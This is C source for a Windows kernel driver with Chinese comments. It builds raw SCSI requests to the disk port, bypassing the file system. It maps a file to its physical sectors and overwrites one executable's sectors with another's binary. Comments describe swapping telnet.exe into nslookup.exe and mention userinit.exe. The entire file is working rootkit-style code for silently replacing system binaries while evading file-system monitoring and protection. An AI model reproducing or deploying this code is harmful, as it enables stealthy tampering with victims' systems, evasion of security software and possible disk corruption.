#include
#include
#define FSCTL_GET_RETRIEVAL_POINTERS 0x90073
#define PARTITION_TYPE_NTFS         0x07
#define PARTITION_TYPE_FAT32         0x0B
#define PARTITION_TYPE_FAT32_LBA     0x0C
extern POBJECT_TYPE* IoDriverObjectType;
LARGE_INTEGER realdiskpos;
ULONG sectorspercluster;
typedef struct RETRIEVAL_POINTERS_BUFFER {
  ULONG ExtentCount;
  LARGE_INTEGER StartingVcn;
  struct {
    LARGE_INTEGER NextVcn;
    LARGE_INTEGER Lcn;
  } Extents[1];
} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
typedef struct {  LARGE_INTEGER StartingVcn;
} STARTING_VCN_INPUT_BUFFER,  *PSTARTING_VCN_INPUT_BUFFER;

typedef struct _SENSE_DATA {
  unsigned char Valid;
  unsigned char SegmentNumber;
  unsigned char FileMark;
  unsigned char Information[4];
  unsigned char AdditionalSenseLength;
  unsigned char CommandSpecificInformation[4];
  unsigned char AdditionalSenseCode;
  unsigned char AdditionalSenseCodeQualifier;
  unsigned char FieldReplaceableUnitCode;
  unsigned char SenseKeySpecific[3];
} SENSE_DATA, *PSENSE_DATA;

#pragma pack(1)
typedef struct _FileSystemControl{
            ULONG OutputBufferLength;
            ULONG InputBufferLength;
            ULONG IoControlCode;
            PVOID Type3InputBuffer;
        } DeviceIoControl;
typedef struct _PARTITION_ENTRY
{
   UCHAR active;              
   UCHAR StartHead;             
   UCHAR StartSector;           
   UCHAR StartCylinder;        
   UCHAR PartitionType;        
   UCHAR EndHead;              
   UCHAR EndSector;             
   UCHAR EndCylinder;          
   ULONG StartLBA;             
   ULONG TotalSector;           
} PARTITION_ENTRY, *PPARTITION_ENTRY;

typedef struct _MBR_SECTOR
{
   UCHAR             BootCode[446];
   PARTITION_ENTRY   Partition[4];
   USHORT           Signature;
} MBR_SECTOR, *PMBR_SECTOR;

typedef struct _BBR_SECTOR
{
   USHORT JmpCode;          
   UCHAR   NopCode;           
   UCHAR   OEMName[8];        
   USHORT BytesPerSector;     
   UCHAR   SectorsPerCluster;  
   USHORT ReservedSectors;     
   UCHAR   NumberOfFATs;        
   USHORT RootEntries;     
   USHORT NumberOfSectors16;  
   UCHAR   MediaDescriptor;    
   USHORT SectorsPerFAT16;    
   USHORT SectorsPerTrack;    
   USHORT HeadsPerCylinder;    
   ULONG   HiddenSectors;     
   ULONG   NumberOfSectors32;  
   ULONG   SectorsPerFAT32;     
} BBR_SECTOR, *PBBR_SECTOR;
#pragma pack()

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;             
CHAR ImageName[255]; 
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID* Object );

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
    IN ULONG SystemInformationClass,
    IN OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength);

NTSTATUS
  IrpCompletionRoutine(
    IN PDEVICE_OBJECT  DeviceObject,
    IN PIRP  Irp,
    IN PVOID  Context
    ){

        PMDL mdl;
  Irp->UserIosb->Status=Irp->IoStatus.Status;
  Irp->UserIosb->Information=Irp->IoStatus.Information;
  if(! Context)
  {
  mdl=Irp->MdlAddress;
  if(mdl){
      DbgPrint("read size: %d..", Irp->IoStatus.Information);
      MmUnlockPages(mdl);
      IoFreeMdl(mdl);
  }}
  KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
  IoFreeIrp(Irp);

return STATUS_MORE_PROCESSING_REQUIRED;
}

NTSTATUS IrpCompletionRoutine_0(
    IN PDEVICE_OBJECT  DeviceObject,
    IN PIRP  Irp,
    IN PVOID  Context
    ){
        PMDL mdl;
  Irp->UserIosb->Status=Irp->IoStatus.Status;
  Irp->UserIosb->Information=Irp->IoStatus.Information;
  if (! Context )
  {
     mdl=Irp->MdlAddress;
    if ( mdl )
    {
      DbgPrint("read size: %d..", Irp->IoStatus.Information);
      MmUnlockPages(mdl);
      IoFreeMdl(mdl);
    }
  }
   KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
  IoFreeIrp(Irp);
  return STATUS_MORE_PROCESSING_REQUIRED;
}

ULONG GetModuleBase(char* name){

    ULONG                       n,i ;
    PSYSTEM_MODULE_INFORMATION  module;
    PVOID                       pbuftmp;
        char modulename[255];

    ZwQuerySystemInformation(11, &n, 0, &n);
    pbuftmp = ExAllocatePool(NonPagedPool, n);
    ZwQuerySystemInformation(11, pbuftmp, n, NULL);

module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
n      = *((PULONG)pbuftmp );
    for ( i = 0; i < n; i++ )
    {
                strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);
                if(!_strnicmp(modulename,name,strlen(name))){
                         ExFreePool(pbuftmp);
                        return (ULONG)module[i].Base;
                }
    }

ExFreePool(pbuftmp);
return 0;
}

NTSTATUS MyIoCallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)//自己的IoCallDriver
{
  PIO_STACK_LOCATION stack;
  --Irp->CurrentLocation;
  stack = IoGetNextIrpStackLocation( Irp );
  Irp->Tail.Overlay.CurrentStackLocation= stack;//移动堆栈
  stack->DeviceObject=DeviceObject;
  return (DeviceObject->DriverObject->MajorFunction[(ULONG)stack->MajorFunction])(DeviceObject, Irp);
}

ULONG  AtapiReadWriteDisk(PDEVICE_OBJECT dev_object,ULONG MajorFunction, PVOID buffer,ULONG DiskPos, int BlockCount)
{
        NTSTATUS status;
        PSCSI_REQUEST_BLOCK srb;
    PSENSE_DATA sense;
        KEVENT Event;
        PIRP irp;
        PMDL mdl;
        IO_STATUS_BLOCK isb;
        PIO_STACK_LOCATION isl;
        PVOID psense;
        int count=8;
        while(1){
        srb=ExAllocatePool(0,sizeof(SCSI_REQUEST_BLOCK));
        if(!srb)
                break;
        sense=ExAllocatePool(0,sizeof(SENSE_DATA));
        psense=sense;
        if(!sense)
                break;
        memset(srb,0,sizeof(SCSI_REQUEST_BLOCK));
        memset(sense,0,sizeof(SENSE_DATA));
        srb->Length=sizeof(SCSI_REQUEST_BLOCK);//更多关于srb,请看《SCSI 总线和IDE接口:协议、应用和编程》和《SCSI程序员指南》
        srb->Function=0;
        srb->DataBuffer=buffer;
        srb->DataTransferLength=BlockCount<<9;//sector size*number of sector
        srb->QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
        srb->SrbStatus=0;
        srb->ScsiStatus=0;
        srb->NextSrb=0;
        srb->SenseInfoBuffer=sense;
        srb->SenseInfoBufferLength=sizeof(SENSE_DATA);
        if(MajorFunction==IRP_MJ_READ)
                srb->SrbFlags=SRB_FLAGS_DATA_IN;
        else
                srb->SrbFlags=SRB_FLAGS_DATA_OUT;

        if(MajorFunction==IRP_MJ_READ)
                srb->SrbFlags|=SRB_FLAGS_ADAPTER_CACHE_ENABLE;

            srb->SrbFlags|=SRB_FLAGS_DISABLE_AUTOSENSE;
                srb->TimeOutValue=(srb->DataTransferLength>>10)+1;
                srb->QueueSortKey=DiskPos;
                srb->CdbLength=10;
                srb->Cdb[0]=2*((UCHAR)MajorFunction+ 17);
                srb->Cdb[1]=srb->Cdb[1] & 0x1F | 0x80;
                srb->Cdb[2]=(unsigned char)(DiskPos>>0x18)&0xFF;     //
                srb->Cdb[3]=(unsigned char)(DiskPos>>0x10)&0xFF;     //
                srb->Cdb[4]=(unsigned char)(DiskPos>>0x08)&0xFF;     //
                srb->Cdb[5]=(UCHAR)DiskPos;           //填写sector位置
                srb->Cdb[7]=(UCHAR)BlockCount>>0x08;
                srb->Cdb[8]=(UCHAR)BlockCount;
                //By:Eros412
                KeInitializeEvent(&Event, 0, 0);
                irp=IoAllocateIrp(dev_object->StackSize,0);
                mdl=IoAllocateMdl(buffer, BlockCount<<9, 0, 0, irp);
                irp->MdlAddress=mdl;
                if(!mdl){
      ExFreePool(srb);
      ExFreePool(psense);
      IoFreeIrp(irp);
      return STATUS_INSUFFICIENT_RESOURCES;
    }
                MmProbeAndLockPages(mdl,0,(MajorFunction==IRP_MJ_READ?0:1));
                srb->OriginalRequest=irp;
                irp->UserIosb=&isb;
                irp->UserEvent=&Event;
                irp->IoStatus.Status=0;
                irp->IoStatus.Information=0;
                irp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
                irp->AssociatedIrp.SystemBuffer=0;
                irp->Cancel=0;
                irp->RequestorMode=0;
                irp->CancelRoutine=0;
                irp->Tail.Overlay.Thread=PsGetCurrentThread();
                isl=IoGetNextIrpStackLocation(irp);
                isl->DeviceObject=dev_object;
                isl->MajorFunction=IRP_MJ_SCSI;
                isl->Parameters.Scsi.Srb=srb;
                isl->CompletionRoutine=IrpCompletionRoutine_0;
        isl->Context=srb;
        isl->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
                status=MyIoCallDriver(dev_object,irp);
                KeWaitForSingleObject(&Event, 0, 0, 0, 0);

                if(srb->SenseInfoBuffer!=psense&&srb->SenseInfoBuffer)
                        ExFreePool(srb->SenseInfoBuffer);

                ExFreePool(srb);
                ExFreePool(psense);

        if ( status >= 0 || !count )
        return status;

                 DbgPrint("Send XXX Failed..%08x\r\n", status);
                 KeStallExecutionProcessor(1u);
                 --count;
        }
return STATUS_INSUFFICIENT_RESOURCES;
}

PDEVICE_OBJECT GetLastDiskDeviceObject(PDRIVER_OBJECT drv_object)//这个就是DR0
{
  PDEVICE_OBJECT result;
  PDEVICE_OBJECT finddev;
  finddev=drv_object->DeviceObject;
  result=NULL;
  while (finddev)
  {
    if (finddev->DeviceType==FILE_DEVICE_DISK)
      result = finddev;
    finddev=finddev->NextDevice;
  }
  return result;
}

PDEVICE_OBJECT GetAtaDr0DevObject(){

UNICODE_STRING diskstr;
PDRIVER_OBJECT diskdrv;
PDEVICE_OBJECT dr0dev;
    RtlInitUnicodeString(&diskstr, L"\\Driver\\Disk");
        if(ObReferenceObjectByName(&diskstr,64,0,0,*IoDriverObjectType,0,0,&diskdrv)<0)
                return NULL;

dr0dev=GetLastDiskDeviceObject(diskdrv);
if(dr0dev)
DbgPrint("Eros412 said : ata dr0 dev obj is : %08x...",dr0dev);

ObfDereferenceObject(diskdrv);
return dr0dev;
}

PDEVICE_OBJECT GetFileObjectDevice(PFILE_OBJECT Object){

        PDEVICE_OBJECT result=NULL;
        PVPB vpb;
        vpb=Object->Vpb;
        result=vpb->DeviceObject;
        if(!vpb||!result)
        {
                 if(!Object->DeviceObject->Vpb||!Object->DeviceObject->Vpb->DeviceObject)
                        result=Object->DeviceObject;
        }
return result;
}

PLARGE_INTEGER GetPosAndCluster()//得到第一个分区文件数据的起始位置
{
        PVOID buffer;
        ULONG type,startlba;
        int i;
        PLARGE_INTEGER result;
        PDEVICE_OBJECT dev;
        PMBR_SECTOR mbrsec;
        PPARTITION_ENTRY partition0;
        PBBR_SECTOR bootsec;
        result=ExAllocatePool(0,sizeof(LARGE_INTEGER));
        dev=GetAtaDr0DevObject();
        if(dev){
        buffer=ExAllocatePool(0,512);
        memset(buffer,0,512);
        if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, 0, 1)>0)
                DbgPrint("AtapiReadWriteDisk ok");

        mbrsec=(PMBR_SECTOR)buffer;
        partition0=&mbrsec->Partition[0];
        startlba=partition0[0].StartLBA;
        type=partition0[0].PartitionType;
        DbgPrint("dwPartOnePos:0x%08x..1", startlba);
        result->QuadPart=startlba;
        memset(buffer,0,512);
        if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, startlba, 1)>0){
                bootsec=(PBBR_SECTOR)buffer;
        DbgPrint("gSectorsPerCluster:%d...", bootsec->SectorsPerCluster);
        sectorspercluster=bootsec->SectorsPerCluster;
        }
        result->QuadPart+=bootsec->ReservedSectors;
        DbgPrint("dwPartOnePos:%I64x..2\r\n", result->QuadPart);
        if(type==PARTITION_TYPE_FAT32||type==PARTITION_TYPE_FAT32_LBA)
                result->QuadPart+=bootsec->NumberOfFATs*bootsec->SectorsPerFAT32;
        DbgPrint("dwPartOnePos:%I64x..3\r\n", result->QuadPart);

        }
        else
                result->QuadPart=0;

        return result;
}

NTSTATUS OpenFile(PHANDLE FileHandle,PWCHAR filename)
{
  NTSTATUS status;
  ULONG v3;
  int v5;
  UNICODE_STRING DestinationString;
  OBJECT_ATTRIBUTES ObjectAttributes;
  struct _IO_STATUS_BLOCK IoStatusBlock;

  RtlInitUnicodeString(&DestinationString, filename);//L"\\SystemRoot\\System32\\userinit.exe"
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes =OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE;// 576;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  status = IoCreateFile(FileHandle, GENERIC_READ , &ObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN , 0x50u, 0, 0, 0, 0, 0);
  if ( status != STATUS_SUCCESS)
DbgPrint("Open File failed...%08x..", status );
  return status;
}

PLARGE_INTEGER getfilesize(PWCHAR filename){
PLARGE_INTEGER filesize;
HANDLE hfile;
IO_STATUS_BLOCK IoStatusBlock;
filesize=ExAllocatePool(0,sizeof(LARGE_INTEGER));
OpenFile(&hfile,filename);
ZwQueryInformationFile(hfile, &IoStatusBlock, filesize, 24, FileStandardInformation);
return filesize;
}

NTSTATUS InitSectors(PWCHAR filename){//得到文件在扇区的位置,存放在realdiskpos

        PLARGE_INTEGER diskpos;
        NTSTATUS status,newstatus;
        HANDLE filehandle;
        PVOID testingpool;
        IO_STATUS_BLOCK iosb;
        LARGE_INTEGER ByteOffset;
        PFILE_OBJECT Object;
        PDEVICE_OBJECT dev;
        PIRP irp;
        KEVENT Event;
        IO_STATUS_BLOCK iosb2;
    PIO_STACK_LOCATION nextio;
        STARTING_VCN_INPUT_BUFFER StartVcn;
        unsigned char abBuffer[1024];
    PRETRIEVAL_POINTERS_BUFFER pVcnPairs;
        realdiskpos.QuadPart=0;
        StartVcn.StartingVcn.QuadPart=0;
      
    memset(abBuffer, 0, 1024);
    pVcnPairs = (PRETRIEVAL_POINTERS_BUFFER)abBuffer;

        if(OpenFile(&filehandle,filename)!= STATUS_SUCCESS)
                return 1;

        testingpool=ExAllocatePool(0,512);
        ByteOffset.QuadPart=0;
        if(ZwReadFile(filehandle,0,0,0,&iosb,testingpool,512,&ByteOffset,0)!=STATUS_SUCCESS){
                DbgPrint("ZwReadFile error");
                goto end;
        }
        if(ObReferenceObjectByHandle(filehandle,0,(POBJECT_TYPE)*IoFileObjectType,0,&Object,0)<0){
                DbgPrint("ObReferenceObjectByHandle error");
                goto end;
        }
        dev=GetFileObjectDevice(Object);
        if(!dev){
        DbgPrint("Get Device Object error");
        goto end2;
        }
        DbgPrint("pDevObj is: %08x...",dev);
        irp=IoAllocateIrp( dev->StackSize, 0);
  if(irp==NULL)
          goto end2;

   KeInitializeEvent(&Event, SynchronizationEvent, 0);
   irp->AssociatedIrp.SystemBuffer=&StartVcn;
   irp->UserBuffer=pVcnPairs;
   irp->UserEvent=&Event;
   irp->MdlAddress=0;
   irp->UserIosb=&iosb2;
   irp->RequestorMode=KernelMode;
   irp->Tail.Overlay.Thread=PsGetCurrentThread();
   irp->Tail.Overlay.OriginalFileObject=Object;
   irp->Flags = 0;
   nextio = IoGetNextIrpStackLocation(irp);
   nextio->MajorFunction=IRP_MJ_FILE_SYSTEM_CONTROL;
   nextio->DeviceObject=dev;
   nextio->FileObject=Object;
   nextio->Parameters.DeviceIoControl.InputBufferLength= sizeof(STARTING_VCN_INPUT_BUFFER);
   nextio->Parameters.DeviceIoControl.IoControlCode=FSCTL_GET_RETRIEVAL_POINTERS;
   nextio->Parameters.DeviceIoControl.Type3InputBuffer=&StartVcn;
   nextio->Parameters.DeviceIoControl.OutputBufferLength=1024;
   nextio->CompletionRoutine=IrpCompletionRoutine;
   nextio->Context=0;
   nextio->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
  
    MyIoCallDriver(dev,irp);

     KeWaitForSingleObject(&Event, 0,0,0, NULL);
     newstatus = iosb2.Status;

        if(newstatus<0){
                DbgPrint("MyIofCallDriver  failed:%08x...",newstatus);
                goto end2;
        }

        DbgPrint("ExtentCount = %d",pVcnPairs->ExtentCount);
        DbgPrint("StartLcn = %I64x",pVcnPairs->Extents[0].Lcn.QuadPart);
        diskpos=GetPosAndCluster();
        realdiskpos.QuadPart=diskpos->QuadPart+sectorspercluster*pVcnPairs->Extents[0].Lcn.QuadPart;

        if(diskpos){
                DbgPrint("gDiskPos is: %I64x..Cluster:%d...part offset: %08x..",realdiskpos.QuadPart,sectorspercluster,diskpos->QuadPart);
        }

        return 0;

end2:
        if(irp!=NULL)
        IoFreeIrp(irp);
        ObDereferenceObject(Object);
end:
                ZwClose(filehandle);
                if(testingpool)
                ExFreePool(testingpool);
                return 1;
}

VOID DriverUnload(
    IN PDRIVER_OBJECT  DriverObject
    ){

}

NTSTATUS
  DriverEntry(
    IN PDRIVER_OBJECT  DriverObject,
    IN PUNICODE_STRING  RegistryPath
    ){

        PLARGE_INTEGER filesize;
        PDEVICE_OBJECT dev;
        PVOID buf;
        ULONG psector;
  DriverObject->DriverUnload =DriverUnload;
  InitSectors(L"\\??\\c:\\A.exe");//找了两个大小差不多的文件,把telnet.exe的binary code拷贝到nslookup.exe,系统重启后生效(注:当exe执行时FSD从cache里把内容拷贝过来,所以需要重启)
  filesize=getfilesize(L"\\??\\c:\\A.exe");
  buf=ExAllocatePool(0,filesize->LowPart);
  memset(buf,0x00,filesize->LowPart);
  dev=GetAtaDr0DevObject();
  psector=realdiskpos.LowPart;
  if(dev!=NULL&&psector!=0&&buf!=NULL){
AtapiReadWriteDisk(dev,IRP_MJ_READ,buf,psector,(filesize->LowPart/512)+1);

InitSectors(L"\\??\\c:\\B.exe");
filesize=getfilesize(L"\\??\\c:\\B.exe");
psector=realdiskpos.LowPart;
AtapiReadWriteDisk(dev,IRP_MJ_WRITE,buf,psector,(filesize->LowPart/512)+1);

  }

return STATUS_SUCCESS;
}